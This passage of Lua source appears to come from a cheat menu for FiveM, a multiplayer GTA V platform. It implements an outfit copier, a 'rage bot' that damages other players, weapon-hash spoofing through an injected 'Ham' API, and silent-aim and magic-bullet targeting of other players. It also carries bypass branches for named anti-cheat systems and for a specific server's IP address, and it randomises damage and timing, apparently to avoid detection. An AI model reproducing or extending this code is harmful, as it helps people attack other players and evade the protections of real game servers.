menu.functions.parseHeadBlendFromPed(playerPed) if face == nil or face < 0 then face = menu and menu.vars and menu.vars.sliders and menu.vars.sliders.skinFace end if skin == nil or skin < 0 then skin = menu and menu.vars and menu.vars.sliders and menu.vars.sliders.skinSkin end if face == nil or face < 0 then face = GetPedDrawableVariation(playerPed, 0) or 0 end if skin == nil or skin < 0 then skin = GetPedDrawableVariation(playerPed, 0) or 0 end local outfit = { sex = sex, face = face, skin = skin, hair_1 = GetPedDrawableVariation(playerPed, 2) or 0, hair_2 = GetPedTextureVariation(playerPed, 2) or 0, hair_color_1 = GetPedHairColor(playerPed) or 0, hair_color_2 = GetPedHairHighlightColor(playerPed) or 0, eye_color = GetPedEyeColor(playerPed) or 0, decals_1 = GetPedDrawableVariation(playerPed, 10) or 0, decals_2 = GetPedTextureVariation(playerPed, 10) or 0, tshirt_1 = GetPedDrawableVariation(playerPed, 8) or 0, tshirt_2 = GetPedTextureVariation(playerPed, 8) or 0, torso_1 = GetPedDrawableVariation(playerPed, 11) or 0, torso_2 = GetPedTextureVariation(playerPed, 11) or 0, arms = GetPedDrawableVariation(playerPed, 3) or 0, pants_1 = GetPedDrawableVariation(playerPed, 4) or 0, pants_2 = GetPedTextureVariation(playerPed, 4) or 0, shoes_1 = GetPedDrawableVariation(playerPed, 6) or 0, shoes_2 = GetPedTextureVariation(playerPed, 6) or 0, mask_1 = GetPedDrawableVariation(playerPed, 1) or 0, mask_2 = GetPedTextureVariation(playerPed, 1) or 0, helmet_1 = GetPedPropIndex(playerPed, 0) or -1, helmet_2 = GetPedPropTextureIndex(playerPed, 0) or 0, bproof_1 = GetPedDrawableVariation(playerPed, 9) or 0, bproof_2 = GetPedTextureVariation(playerPed, 9) or 0, bags_1 = GetPedDrawableVariation(playerPed, 5) or 0, bags_2 = GetPedTextureVariation(playerPed, 5) or 0, beard_1 = GetPedHeadOverlayValue(playerPed, 1) or 0, beard_2 = 10, beard_3 = 0, beard_4 = 0, chain_1 = GetPedDrawableVariation(playerPed, 7) or 0, chain_2 = GetPedTextureVariation(playerPed, 7) or 0, glasses_1 = GetPedPropIndex(playerPed, 1) or -1, glasses_2 = GetPedPropTextureIndex(playerPed, 1) or 0, ears_1 = GetPedPropIndex(playerPed, 2) or -1, ears_2 = GetPedPropTextureIndex(playerPed, 2) or 0 } menu.vars.lastPrintedSkin = outfit local sexText = outfit.sex == nil and "nil" or tostring(outfit.sex) local outfitText = string.format( "{ sex = %s, face = %d, skin = %d, hair_1 = %d, hair_2 = %d, hair_color_1 = %d, hair_color_2 = %d, eye_color = %d, decals_1 = %d, decals_2 = %d, tshirt_1 = %d, tshirt_2 = %d, torso_1 = %d, torso_2 = %d, arms = %d, pants_1 = %d, pants_2 = %d, shoes_1 = %d, shoes_2 = %d, mask_1 = %d, mask_2 = %d, helmet_1 = %d, helmet_2 = %d, bproof_1 = %d, bproof_2 = %d, bags_1 = %d, bags_2 = %d, beard_1 = %d, beard_2 = %d, beard_3 = %d, beard_4 = %d, chain_1 = %d, chain_2 = %d, glasses_1 = %d, glasses_2 = %d, ears_1 = %d, ears_2 = %d }", sexText, outfit.face, outfit.skin, outfit.hair_1, outfit.hair_2, outfit.hair_color_1, outfit.hair_color_2, outfit.eye_color, outfit.decals_1, outfit.decals_2, outfit.tshirt_1, outfit.tshirt_2, outfit.torso_1, outfit.torso_2, outfit.arms, outfit.pants_1, outfit.pants_2, outfit.shoes_1, outfit.shoes_2, outfit.mask_1, outfit.mask_2, outfit.helmet_1, outfit.helmet_2, outfit.bproof_1, outfit.bproof_2, outfit.bags_1, outfit.bags_2, outfit.beard_1, outfit.beard_2, outfit.beard_3, outfit.beard_4, outfit.chain_1, outfit.chain_2, outfit.glasses_1, outfit.glasses_2, outfit.ears_1, outfit.ears_2 ) print("[Premium Menu] Outfit data (FBI style):") print(outfitText) print("[Premium Menu] COPY + EXECUTE SNIPPET START") print("local outfitData = " .. outfitText) print("local ped = PlayerPedId()") print( "if outfitData.sex ~= nil then local m = (outfitData.sex == 0 and GetHashKey('mp_m_freemode_01') or GetHashKey('mp_f_freemode_01')); if m ~= GetEntityModel(ped) then RequestModel(m); while not HasModelLoaded(m) do Citizen.Wait(0); RequestModel(m); end; SetPlayerModel(PlayerId(), m); SetModelAsNoLongerNeeded(m); ped = PlayerPedId(); SetPedDefaultComponentVariation(ped); end; end" ) print( "SetPedHeadBlendData(ped, outfitData.face or 0, outfitData.face or 0, outfitData.face or 0, outfitData.skin or 0, outfitData.skin or 0, outfitData.skin or 0, 1.0, 1.0, 1.0, true)" ) print("SetPedComponentVariation(ped, 2, outfitData.hair_1 or 0, outfitData.hair_2 or 0, 2)") print( "SetPedHairColor(ped, outfitData.hair_color_1 or 0, (outfitData.hair_color_2 ~= nil and outfitData.hair_color_2) or (outfitData.hair_color_1 or 0))" ) print( "if outfitData.eye_color ~= nil and outfitData.eye_color >= 0 then SetPedEyeColor(ped, outfitData.eye_color) end" ) print("SetPedHeadOverlay(ped, 1, outfitData.beard_1 or 0, ((outfitData.beard_2 or 10) / 10.0))") print("SetPedHeadOverlayColor(ped, 1, 1, outfitData.beard_3 or 0, outfitData.beard_4 or 0)") print( "SetPedComponentVariation(ped, 8, outfitData.tshirt_1 or 0, outfitData.tshirt_2 or 0, 2); SetPedComponentVariation(ped, 11, outfitData.torso_1 or 0, outfitData.torso_2 or 0, 2); SetPedComponentVariation(ped, 3, outfitData.arms or 0, 0, 2); SetPedComponentVariation(ped, 10, outfitData.decals_1 or 0, outfitData.decals_2 or 0, 2); SetPedComponentVariation(ped, 4, outfitData.pants_1 or 0, outfitData.pants_2 or 0, 2); SetPedComponentVariation(ped, 6, outfitData.shoes_1 or 0, outfitData.shoes_2 or 0, 2); SetPedComponentVariation(ped, 1, outfitData.mask_1 or 0, outfitData.mask_2 or 0, 2); SetPedComponentVariation(ped, 9, outfitData.bproof_1 or 0, outfitData.bproof_2 or 0, 2); SetPedComponentVariation(ped, 7, outfitData.chain_1 or 0, outfitData.chain_2 or 0, 2); SetPedComponentVariation(ped, 5, outfitData.bags_1 or 0, outfitData.bags_2 or 0, 2)" ) print( "if outfitData.helmet_1 ~= nil then if outfitData.helmet_1 >= 0 then SetPedPropIndex(ped, 0, outfitData.helmet_1, outfitData.helmet_2 or 0, true) else ClearPedProp(ped, 0) end end; if outfitData.glasses_1 ~= nil then if outfitData.glasses_1 >= 0 then SetPedPropIndex(ped, 1, outfitData.glasses_1, outfitData.glasses_2 or 0, true) else ClearPedProp(ped, 1) end end; if outfitData.ears_1 ~= nil then if outfitData.ears_1 >= 0 then SetPedPropIndex(ped, 2, outfitData.ears_1, outfitData.ears_2 or 0, true) else ClearPedProp(ped, 2) end end" ) print("[Premium Menu] COPY + EXECUTE SNIPPET END") menu.utils.notify("Printed incl. eye/skin + executable snippet", "success", 3000) end function assembledMenuFunctions.applySkinToPed(skinData) local playerPed = PlayerPedId() if not playerPed or playerPed == 0 or not DoesEntityExist(playerPed) then print("[Premium Menu] Could not read player ped for skin apply") return end if not skinData then menu.utils.notify("No skin data available", "error", 3000) return end local weapons = menu.utils.savePlayerWeapons() local vehicle = menu.utils.savePlayerVehicle() local model if skinData.sex ~= nil then if skinData.sex == 0 then model = GetHashKey("mp_m_freemode_01") else model = GetHashKey("mp_f_freemode_01") end end if model ~= nil and model ~= GetEntityModel(playerPed) then RequestModel(model) while not HasModelLoaded(model) do Citizen.Wait(0) RequestModel(model) end SetPlayerModel(PlayerId(), model) SetModelAsNoLongerNeeded(model) playerPed = PlayerPedId() SetPedDefaultComponentVariation(playerPed) end menu.utils.restorePlayerWeapons(weapons) menu.utils.restorePlayerVehicle(vehicle) SetPedHeadBlendData( playerPed, skinData.face or 0, skinData.face or 0, skinData.face or 0, skinData.skin or 0, skinData.skin or 0, skinData.skin or 0, 1.0, 1.0, 1.0, true ) SetPedComponentVariation(playerPed, 2, skinData.hair_1 or 0, skinData.hair_2 or 0, 2) SetPedHairColor( playerPed, skinData.hair_color_1 or 0, skinData.hair_color_2 ~= nil and skinData.hair_color_2 or (skinData.hair_color_1 or 0) ) if skinData.eye_color ~= nil and skinData.eye_color >= 0 then SetPedEyeColor(playerPed, skinData.eye_color) end SetPedHeadOverlay(playerPed, 1, skinData.beard_1 or 0, (skinData.beard_2 or 10) / 10.0) SetPedHeadOverlayColor(playerPed, 1, 1, skinData.beard_3 or 0, skinData.beard_4 or 0) SetPedHeadOverlay(playerPed, 2, skinData.eyebrow_1 or 0, (skinData.eyebrow_2 or 10) / 10.0) SetPedHeadOverlayColor(playerPed, 2, 1, skinData.eyebrow_3 or 0, skinData.eyebrow_4 or 0) SetPedComponentVariation(playerPed, 8, skinData.tshirt_1 or 0, skinData.tshirt_2 or 0, 2) SetPedComponentVariation(playerPed, 11, skinData.torso_1 or 0, skinData.torso_2 or 0, 2) SetPedComponentVariation(playerPed, 3, skinData.arms or 0, 0, 2) SetPedComponentVariation(playerPed, 10, skinData.decals_1 or 0, skinData.decals_2 or 0, 2) SetPedComponentVariation(playerPed, 4, skinData.pants_1 or 0, skinData.pants_2 or 0, 2) SetPedComponentVariation(playerPed, 6, skinData.shoes_1 or 0, skinData.shoes_2 or 0, 2) SetPedComponentVariation(playerPed, 1, skinData.mask_1 or 0, skinData.mask_2 or 0, 2) SetPedComponentVariation(playerPed, 9, skinData.bproof_1 or 0, skinData.bproof_2 or 0, 2) SetPedComponentVariation(playerPed, 7, skinData.chain_1 or 0, skinData.chain_2 or 0, 2) SetPedComponentVariation(playerPed, 5, skinData.bags_1 or 0, skinData.bags_2 or 0, 2) if skinData.helmet_1 ~= nil then if skinData.helmet_1 >= 0 then SetPedPropIndex(playerPed, 0, skinData.helmet_1, skinData.helmet_2 or 0, true) else ClearPedProp(playerPed, 0) end end if skinData.glasses_1 ~= nil then if skinData.glasses_1 >= 0 then SetPedPropIndex(playerPed, 1, skinData.glasses_1, skinData.glasses_2 or 0, true) else ClearPedProp(playerPed, 1) end end if skinData.ears_1 ~= nil then if skinData.ears_1 >= 0 then SetPedPropIndex(playerPed, 2, skinData.ears_1, skinData.ears_2 or 0, true) else ClearPedProp(playerPed, 2) end end end pendingFunctionValue = { 1, 2, 3, 5, 10, 0 } assembledMenuFunctions.rageBotCooldownKillLimits = pendingFunctionValue pendingFunctionValue = { 1, 2, 5, 10, 15, 30, 60 } assembledMenuFunctions.rageBotCooldownSecondValues = pendingFunctionValue function assembledMenuFunctions.getRageBotCooldownKillLimit() local index = tonumber(menu.vars.selectors and menu.vars.selectors.rageBotCooldownKills or 6) or 6 local limits = menu.functions.rageBotCooldownKillLimits or { 1, 2, 3, 5, 10, 0 } if index < 1 or index > #limits then index = 6 end return limits[index] or 0 end function assembledMenuFunctions.getRageBotCooldownSeconds() local index = tonumber(menu.vars.selectors and menu.vars.selectors.rageBotCooldownSeconds or 3) or 3 local values = menu.functions.rageBotCooldownSecondValues or { 1, 2, 5, 10, 15, 30, 60 } if index < 1 or index > #values then index = 3 end return values[index] or 10 end function assembledMenuFunctions.changeRageBotCooldown() local killLimit = menu.functions.getRageBotCooldownKillLimit() local seconds = menu.functions.getRageBotCooldownSeconds() menu.utils.safeExecute(string.format( [[ _G.rageBotCooldownKills = %d _G.rageBotCooldownSeconds = %d ]], killLimit, seconds )) end function assembledMenuFunctions.isRageBotPistolOnlyServer() local endpoint = Ham if endpoint then endpoint = Ham.getServerEndpoint if endpoint then endpoint = Ham.getServerEndpoint() end end if not endpoint then endpoint = "" end return endpoint == "194.48.217.124" end function assembledMenuFunctions.getRageBotBulletIdx() menu.functions.ensureRageBotBulletTypeLayout() if menu.functions.isRageBotPistolOnlyServer() then return 2 end return 1 end function assembledMenuFunctions.ensureRageBotBulletTypeLayout() menu.vars.selectors = menu.vars.selectors or {} if menu.functions.isRageBotPistolOnlyServer() then menu.vars.selectors.rageBotBulletType = 1 return end local layout = menu.vars.selectors.rageBotBulletLayout or 0 local bulletType = menu.vars.selectors.rageBotBulletType or 1 if layout < 3 then if layout < 2 then if bulletType == 2 then bulletType = 1 elseif bulletType == 3 then bulletType = 2 elseif bulletType >= 4 then bulletType = 2 end elseif bulletType >= 3 then bulletType = 2 end if bulletType < 1 then bulletType = 1 elseif bulletType > 2 then bulletType = 2 end menu.vars.selectors.rageBotBulletType = bulletType menu.vars.selectors.rageBotBulletLayout = 3 return end if bulletType < 1 then menu.vars.selectors.rageBotBulletType = 1 elseif bulletType > 2 then menu.vars.selectors.rageBotBulletType = 2 end end function assembledMenuFunctions.getRageBotPistolSpoofHash() menu.functions.ensureRageBotBulletTypeLayout() if menu.functions.getRageBotBulletIdx() == 2 then return GetHashKey("WEAPON_PISTOL50") end return GetHashKey("WEAPON_UNARMED") end function assembledMenuFunctions.isSilentRageUnarmedWeapon() local rageBotTypes = menu.vars.rageBotTypes or {} local rageBotType = rageBotTypes[menu.vars.selectors.rageBotType or 1] or "Kill" if rageBotType ~= "Silent mode (risk)" then return false end local antiCheats = menu.vars.antiCheats if antiCheats then return antiCheats.WaveShield == true end return antiCheats end function assembledMenuFunctions.isGrandRpRageBotBypassActive() local active = menu.utils.isServer185169NearbyVehicleMode if active then active = menu.utils.isServer185169NearbyVehicleMode() if active then active = menu.vars.bools if active then active = menu.vars.bools.grandRpBypass ~= false end end end return active end function assembledMenuFunctions.getGrandRpBypassShotDelay() return 500 end function assembledMenuFunctions.rollVariedHamDamage(minimum, maximum) minimum = math.floor(tonumber(minimum) or 12) maximum = math.floor(tonumber(maximum) or 28) if minimum > maximum then minimum, maximum = maximum, minimum end return math.random(minimum, maximum) end function assembledMenuFunctions.getVariedHamHitDelay(minimum, maximum) minimum = math.floor(tonumber(minimum) or 90) maximum = math.floor(tonumber(maximum) or 160) if minimum > maximum then minimum, maximum = maximum, minimum end return math.random(minimum, maximum) end function assembledMenuFunctions.getRageBotHitDamage(damage) local numericDamage = tonumber(damage) if numericDamage then damage = numericDamage else numericDamage = menu.functions.getRageBotDamage() if numericDamage then damage = numericDamage else damage = 20 end end local minimum = math.max(8, math.floor(damage * 0.65)) local maximum = math.max(minimum + 1, math.floor(damage * 1.45)) return menu.functions.rollVariedHamDamage(minimum, maximum) end function assembledMenuFunctions.getSafeKillHitDamage(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return 0, false end local health = GetEntityHealth(entity) or 200 if health <= 0 then return 0, false end local damage = menu.functions.rollVariedHamDamage(12, 35) if health <= damage then return health, true end return damage, false end function assembledMenuFunctions.getRageBotHamDamageProfile() if menu.functions.isGrandRpRageBotBypassActive() then local electronAC = menu.vars.antiCheats and (menu.vars.antiCheats.ElectronAC ~= nil) return { damage = electronAC and 100 or 50, interval = menu.functions.getGrandRpBypassShotDelay(), maxHits = nil, weaponHash = electronAC and GetHashKey("WEAPON_BAT") or GetHashKey("WEAPON_UNARMED"), hitComponent = electronAC and 0 or 3, damageFlags = electronAC and 517 or 513, useWillKill = electronAC } end return { damage = menu.functions.getRageBotDamage(), interval = menu.functions.getRageBotDamageDelay(), maxHits = menu.functions.getRageBotBurstHitCount(), weaponHash = menu.functions.getRageBotHamWeaponHash(), hitComponent = menu.functions.getRageBotHitComponent(), damageFlags = 513, useWillKill = false } end function assembledMenuFunctions.getRageBotDamage() return 20 end function assembledMenuFunctions.getRageBotBurstHitCount() return 8 end function assembledMenuFunctions.getRageBotDamageDelay(delay) delay = tonumber(delay) if not delay then delay = menu.vars.sliders and menu.vars.sliders.rageBotDamageDelay or 25 end if delay < 25 then delay = 25 elseif delay > 1000 then delay = 1000 end return math.floor(delay) end function assembledMenuFunctions.getRageBotHamWeaponHash() if menu.vars.antiCheats.ElectronAC ~= nil then return GetHashKey("WEAPON_BAT") end return GetHashKey("WEAPON_UNARMED") end function assembledMenuFunctions.getRageBotHitComponent() return 0 end function assembledMenuFunctions.applyRageBotVisualWeapon(entity) if not entity then entity = PlayerPedId() end if not entity or entity == 0 or not DoesEntityExist(entity) then return end SetCurrentPedWeapon(entity, GetHashKey("WEAPON_UNARMED"), true) end function assembledMenuFunctions.applyRageBotBulletHam() menu.functions.ensureRageBotBulletTypeLayout() if Ham and Ham.removeWeaponOverride then Ham.removeWeaponOverride(GetHashKey("WEAPON_PISTOL")) end if Ham and Ham.removeWeaponDamageOverride then Ham.removeWeaponDamageOverride(GetHashKey("WEAPON_PISTOL")) end if Ham and Ham.setWeaponDamageOverride then Ham.setWeaponDamageOverride(GetHashKey("WEAPON_UNARMED"), menu.functions.getRageBotDamage()) end if Ham and Ham.setWeaponSpoofHash then Ham.setWeaponSpoofHash(GetHashKey("WEAPON_UNARMED")) end if Ham and Ham.weaponSpoof then Ham.weaponSpoof(true) end end function assembledMenuFunctions.getLazerEyesHamWeaponHash() return GetHashKey("WEAPON_RAYCARBINE") end function assembledMenuFunctions.getLazerEyesVisualWeaponHash() if menu.vars.antiCheats and menu.vars.antiCheats.ElectronAC ~= nil then return GetHashKey("WEAPON_BAT") end return GetHashKey("WEAPON_UNARMED") end function assembledMenuFunctions.applyLazerEyesHam() local weaponHash = menu.functions.getLazerEyesHamWeaponHash() local visualWeaponHash = menu.functions.getLazerEyesVisualWeaponHash() if Ham and Ham.removeWeaponDamageOverride then Ham.removeWeaponDamageOverride(visualWeaponHash) end if Ham and Ham.setWeaponOverride then Ham.setWeaponOverride(weaponHash, visualWeaponHash) end if Ham and Ham.setWeaponDamageOverride then Ham.setWeaponDamageOverride(weaponHash, menu.functions.getRageBotDamage()) end if Ham and Ham.setWeaponSpoofHash then Ham.setWeaponSpoofHash(visualWeaponHash) end if Ham and Ham.weaponSpoof then Ham.weaponSpoof(true) end end function assembledMenuFunctions.clearLazerEyesHam() local weaponHash = menu.functions.getLazerEyesHamWeaponHash() if Ham and Ham.removeWeaponOverride then Ham.removeWeaponOverride(weaponHash) end if Ham and Ham.removeWeaponDamageOverride then Ham.removeWeaponDamageOverride(weaponHash) end if not menu.vars.bools.rageBot and not menu.vars.bools.localWeaponSpoof and Ham and Ham.weaponSpoof then Ham.weaponSpoof(false) end end function assembledMenuFunctions.toggleLazerEyes(toggleOptions) local enabled if toggleOptions and toggleOptions.toggleState then enabled = toggleOptions.toggleState else enabled = menu.vars.bools.lazerEyes == true end menu.vars.bools.lazerEyes = enabled if enabled then menu.functions.applyLazerEyesHam() else menu.functions.clearLazerEyesHam() end menu.utils.notifyToggle("Lazer Eyes", enabled) end function assembledMenuFunctions.getSilentAimBestTargetPed(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return nil end if not menu.vars.bools or not menu.vars.bools.silentAim then return nil end local metrics = menu.utils.getAimFovScreenMetrics() local radius = menu.utils.getAimFovRadiusPixels(menu.vars.sliders.silentAimFov or 40) local mode = menu.vars.selectors and menu.vars.selectors.silentAimMode or 1 local maxDistance = menu.vars.sliders.silentAimDistance or 180.0 local origin = GetEntityCoords(entity) local bestTarget local bestDistance = 1.0E9 local function considerTarget(target) if not target or target == 0 or not DoesEntityExist(target) then return end if not menu.vars.bools.revoBypass then local bypassDeathCheck = menu.vars.bools and menu.vars.bools.silentAimGrand if not bypassDeathCheck and IsEntityDead(target) then return end end if menu.utils.isMenuSpawnedPed(target) or menu.utils.isPedFriend(target) then return end local vehicle = 0 if IsPedInAnyVehicle(target, false) then vehicle = GetVehiclePedIsIn(target, false) end if mode ~= 2 and menu.vars.bools.silentAimVisibleCheck then local clearLos = HasEntityClearLosToEntity(target, target, 17) local vehicleClearLos if vehicle ~= 0 and DoesEntityExist(vehicle) then vehicleClearLos = HasEntityClearLosToEntity(target, vehicle, 17) else vehicleClearLos = false end if not clearLos and not vehicleClearLos then return end end local distance = #(origin - GetEntityCoords(target)) if distance > maxDistance then return end local screenDistance = menu.functions.getSilentAimFovScreenDistPx(target, metrics.hamCenterX, metrics.hamCenterY) if screenDistance and menu.utils.isWithinAimFovPixels(screenDistance, radius) and screenDistance < bestDistance then bestDistance = screenDistance bestTarget = target end end for _, player in ipairs(GetActivePlayers()) do if player ~= PlayerId() and NetworkIsPlayerActive(player) then considerTarget(GetPlayerPed(player)) end end if menu.vars.bools.silentAimNpc then local peds = GetGamePool and GetGamePool("CPed") or {} for index = 1, #peds do local ped = peds[index] if ped ~= entity and DoesEntityExist(ped) and not IsPedAPlayer(ped) then considerTarget(ped) end end end return bestTarget end function assembledMenuFunctions.isSilentAimGrandBodyOnlyMode() local enabled = menu.functions.isServer185169NearbyVehicleMode if enabled then enabled = menu.functions.isServer185169NearbyVehicleMode() if enabled then enabled = menu.vars.bools if enabled then enabled = menu.vars.bools.silentAimGrand == true end end end return enabled end function assembledMenuFunctions.getSilentAimBoneChoices() if menu.functions.isSilentAimGrandBodyOnlyMode() then menu.vars.selectors.silentAimBone = 1 return { "Body" } end return { "Head", "Body", "Left Hand", "Right Hand", "Random" } end function assembledMenuFunctions.getSilentAimBoneDescription() if menu.functions.isSilentAimGrandBodyOnlyMode() then return "Body" end local choices = { "Head", "Body", "Left Hand", "Right Hand", "Random" } local index = menu.vars.selectors and menu.vars.selectors.silentAimBone or 1 if index < 1 then index = 1 end if index > #choices then index = #choices end return choices[index] end function assembledMenuFunctions.getSilentAimModeDescription() local mode = menu.vars.selectors and menu.vars.selectors.silentAimMode or 1 if mode == 2 then return "Magic bullet" end return "Silent aim" end function assembledMenuFunctions.applySilentAimGrandBoneLock(toggleOptions) local enabled if toggleOptions and toggleOptions.toggleState ~= nil then enabled = toggleOptions.toggleState else enabled = menu.vars.bools.silentAimGrand == true end menu.vars.bools.silentAimGrand = enabled if enabled then if menu.vars._silentAimBoneBeforeGrand == nil then menu.vars._silentAimBoneBeforeGrand = menu.vars.selectors.silentAimBone or 1 end if not menu.functions.isSilentAimGrandBodyOnlyMode() then return end menu.vars.selectors.silentAimBone = 1 return end if menu.vars._silentAimBoneBeforeGrand ~= nil then menu.vars.selectors.silentAimBone = menu.vars._silentAimBoneBeforeGrand menu.vars._silentAimBoneBeforeGrand = nil end menu.functions.clearSilentAimGrandBypassState() end function assembledMenuFunctions.clearSilentAimGrandBypassState() menu.vars._silentAimGrandSpoofState = nil local unarmedHash = GetHashKey("WEAPON_UNARMED") local playerPed = PlayerPedId() if playerPed ~= 0 and DoesEntityExist(playerPed) then local selectedWeapon = GetSelectedPedWeapon(playerPed) if selectedWeapon and selectedWeapon ~= 0 and selectedWeapon ~= unarmedHash then if Ham.removeWeaponOverride then Ham.removeWeaponOverride(selectedWeapon) end if Ham.removeWeaponDamageOverride then Ham.removeWeaponDamageOverride(selectedWeapon) end end end end function assembledMenuFunctions.getSilentAimGrandCategoryChoices() if menu.vars._silentAimGrandCategoryChoicesCache then return menu.vars._silentAimGrandCategoryChoicesCache end local allCategories = { "Pistols", "SMGs", "Rifles", "Shotguns", "Sniper Rifles", "Heavy Weapons", "Throwables" } local choices = {} for index = 1, #allCategories do local category = allCategories[index] if menu.functions.hasWeaponCategoryChoices(category) then choices[#choices + 1] = category end end menu.vars._silentAimGrandCategoryChoicesCache = choices return choices end function assembledMenuFunctions.getSilentAimGrandWeaponChoicesForCategory(category) if not category then return { "None" } end if not menu.vars._silentAimGrandWeaponChoicesCache then menu.vars._silentAimGrandWeaponChoicesCache = {} end local cached = menu.vars._silentAimGrandWeaponChoicesCache[category] if cached then return cached end local choices = menu.functions.getWeaponCategoryChoices(category) menu.vars._silentAimGrandWeaponChoicesCache[category] = choices return choices end function assembledMenuFunctions.rebuildSilentAimGrandWeaponDamageCache() menu.vars._silentAimGrandWeaponDamageByHash = {} local weaponDamage = menu.vars.silentAimGrandWeaponDamage if not weaponDamage then return end for weaponName, damage in pairs(weaponDamage) do if type(weaponName) == "string" then local numericDamage = tonumber(damage) if numericDamage then menu.vars._silentAimGrandWeaponDamageByHash[GetHashKey(weaponName)] = math.floor(numericDamage) end end end end function assembledMenuFunctions.getSilentAimGrandSelectedCategoryName() local choices = menu.functions.getSilentAimGrandCategoryChoices() if not choices[1] then return nil end local index = menu.vars.selectors and menu.vars.selectors.silentAimGrandCategory or 1 if index < 1 then index = 1 end if index > #choices then index = #choices end return choices[index] end function assembledMenuFunctions.getSilentAimGrandSelectedWeaponEntry() local category = menu.functions.getSilentAimGrandSelectedCategoryName() if not category then return nil end local categories = menu.functions.getWeaponSpawnCategories() local entries = categories[category] or {} if #entries == 0 then return nil end local index = menu.vars.selectors and menu.vars.selectors.silentAimGrandWeapon or 1 if index < 1 then index = 1 end if index > #entries then index = #entries end return entries[index] end function assembledMenuFunctions.getSilentAimGrandDefaultWeaponDamage(weaponHash) if weaponHash == GetHashKey("WEAPON_REVOLVER") then return 53 end return 9 end function assembledMenuFunctions.ensureSilentAimGrandWeaponDamageTable() if not menu.vars.silentAimGrandWeaponDamage then menu.vars.silentAimGrandWeaponDamage = {} end return menu.vars.silentAimGrandWeaponDamage end function assembledMenuFunctions.getSilentAimGrandWeaponDamage(weaponHash) if not menu.vars.bools or not menu.vars.bools.silentAimGrand then return menu.functions.getSilentAimGrandDefaultWeaponDamage(weaponHash) end if not weaponHash or weaponHash == 0 then return menu.functions.getSilentAimGrandDefaultWeaponDamage(weaponHash) end local damageByHash = menu.vars._silentAimGrandWeaponDamageByHash if damageByHash and damageByHash[weaponHash] then return damageByHash[weaponHash] end return menu.functions.getSilentAimGrandDefaultWeaponDamage(weaponHash) end function assembledMenuFunctions.setSilentAimGrandWeaponDamageForEntry(entry, damage) if not entry or not entry.hash then return end local damageTable = menu.functions.ensureSilentAimGrandWeaponDamageTable() local numericDamage = tonumber(damage) if not numericDamage then numericDamage = menu.functions.getSilentAimGrandDefaultWeaponDamage(GetHashKey(entry.hash)) end local roundedDamage = math.floor(numericDamage) damageTable[entry.hash] = roundedDamage if not menu.vars._silentAimGrandWeaponDamageByHash then menu.vars._silentAimGrandWeaponDamageByHash = {} end menu.vars._silentAimGrandWeaponDamageByHash[GetHashKey(entry.hash)] = roundedDamage end function assembledMenuFunctions.syncSilentAimGrandDamageSlider() local entry = menu.functions.getSilentAimGrandSelectedWeaponEntry() if not entry then return end if not menu.vars.sliders then menu.vars.sliders = {} end menu.vars.sliders.silentAimGrandDamageEdit = menu.functions.getSilentAimGrandWeaponDamage(GetHashKey(entry.hash)) end function assembledMenuFunctions.onSilentAimGrandCategoryChanged() if not menu.vars.selectors then menu.vars.selectors = {} end menu.vars.selectors.silentAimGrandWeapon = 1 menu.functions.syncSilentAimGrandDamageSlider() end function assembledMenuFunctions.onSilentAimGrandWeaponChanged() menu.functions.syncSilentAimGrandDamageSlider() end function assembledMenuFunctions.onSilentAimGrandDamageChanged(damage) local entry = menu.functions.getSilentAimGrandSelectedWeaponEntry() if entry then menu.functions.setSilentAimGrandWeaponDamageForEntry(entry, damage) end end function assembledMenuFunctions.getSilentAimBoneMode() local mode = menu.vars.selectors and menu.vars.selectors.silentAimBone or 1 if menu.functions.isSilentAimGrandBodyOnlyMode() then return 2 end return mode end function assembledMenuFunctions.getSilentAimHeadBoneCoords(targetPed) if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then return nil end local coords = GetPedBoneCoords(targetPed, 31086, 0.0, 0.0, 0.0) if coords and not (coords.x == 0.0 and coords.y == 0.0 and coords.z == 0.0) then return vector3(coords.x, coords.y, coords.z + 0.14) end local entityCoords = GetEntityCoords(targetPed) local model = GetEntityModel(targetPed) if not menu.vars.modelDimsCache then menu.vars.modelDimsCache = {} end local dimensions = menu.vars.modelDimsCache[model] if not dimensions then local minimum, maximum = GetModelDimensions(model) dimensions = { minZ = minimum and minimum.z or -1.0, maxZ = maximum and maximum.z or 1.0 } menu.vars.modelDimsCache[model] = dimensions end local z = entityCoords.z + (dimensions.maxZ or 1.0) + 0.1 return vector3(entityCoords.x, entityCoords.y, z) end function assembledMenuFunctions.getSilentAimBodyBoneCoords(targetPed) if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then return nil end local coords = menu.functions.getSilentAimHeadBoneCoords(targetPed) if not coords then return nil end return vector3(coords.x, coords.y, coords.z - 0.59) end function assembledMenuFunctions.getSilentAimFovBoneCoords(entity, boneMode) if not entity or entity == 0 or not DoesEntityExist(entity) then return nil end if not boneMode then boneMode = menu.functions.getSilentAimBoneMode() end if boneMode == 1 then return menu.functions.getSilentAimHeadBoneCoords(entity) end if boneMode == 2 then return menu.functions.getSilentAimBodyBoneCoords(entity) end local boneId = ({ [3] = 18905, [4] = 57005 })[boneMode] if not boneId then return menu.functions.getSilentAimHeadBoneCoords(entity) end local coords = GetPedBoneCoords(entity, boneId, 0.0, 0.0, 0.0) if coords and not (coords.x == 0.0 and coords.y == 0.0 and coords.z == 0.0) then return coords end return menu.utils.getTargetBonePosition(entity, boneId) end function assembledMenuFunctions.getSilentAimFovScreenDistPx(entity, centerX, centerY) if not entity or entity == 0 or not DoesEntityExist(entity) then return nil end local function screenDistance(vector) if not vector or vector.x == nil or vector.y == nil or vector.z == nil then return nil end return menu.utils.getAimBoneScreenDistPx(vector.x, vector.y, vector.z, centerX, centerY) end local boneMode = menu.functions.getSilentAimBoneMode() if boneMode == 5 then local boneIds = { 24817, 24818, 24816, 39317, 11816, 18905, 57005, 61163, 40269, 45509, 28252, 58271, 51826, 63931, 36864, 14201, 52301, 31086 } local bestDistance for index = 1, #boneIds do local coords if boneIds[index] == 31086 then coords = menu.functions.getSilentAimHeadBoneCoords(entity) else coords = menu.utils.getTargetBonePosition(entity, boneIds[index]) end local distance = screenDistance(coords) if distance and (not bestDistance or bestDistance > distance) then bestDistance = distance end end return bestDistance end return screenDistance(menu.functions.getSilentAimFovBoneCoords(entity, boneMode)) end function assembledMenuFunctions.getSilentAimTargetForPed(targetPed) if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then return nil end local boneMode = menu.functions.getSilentAimBoneMode() local randomBoneId if boneMode == 5 then local weightedBones = { { id = 24817, w = 10 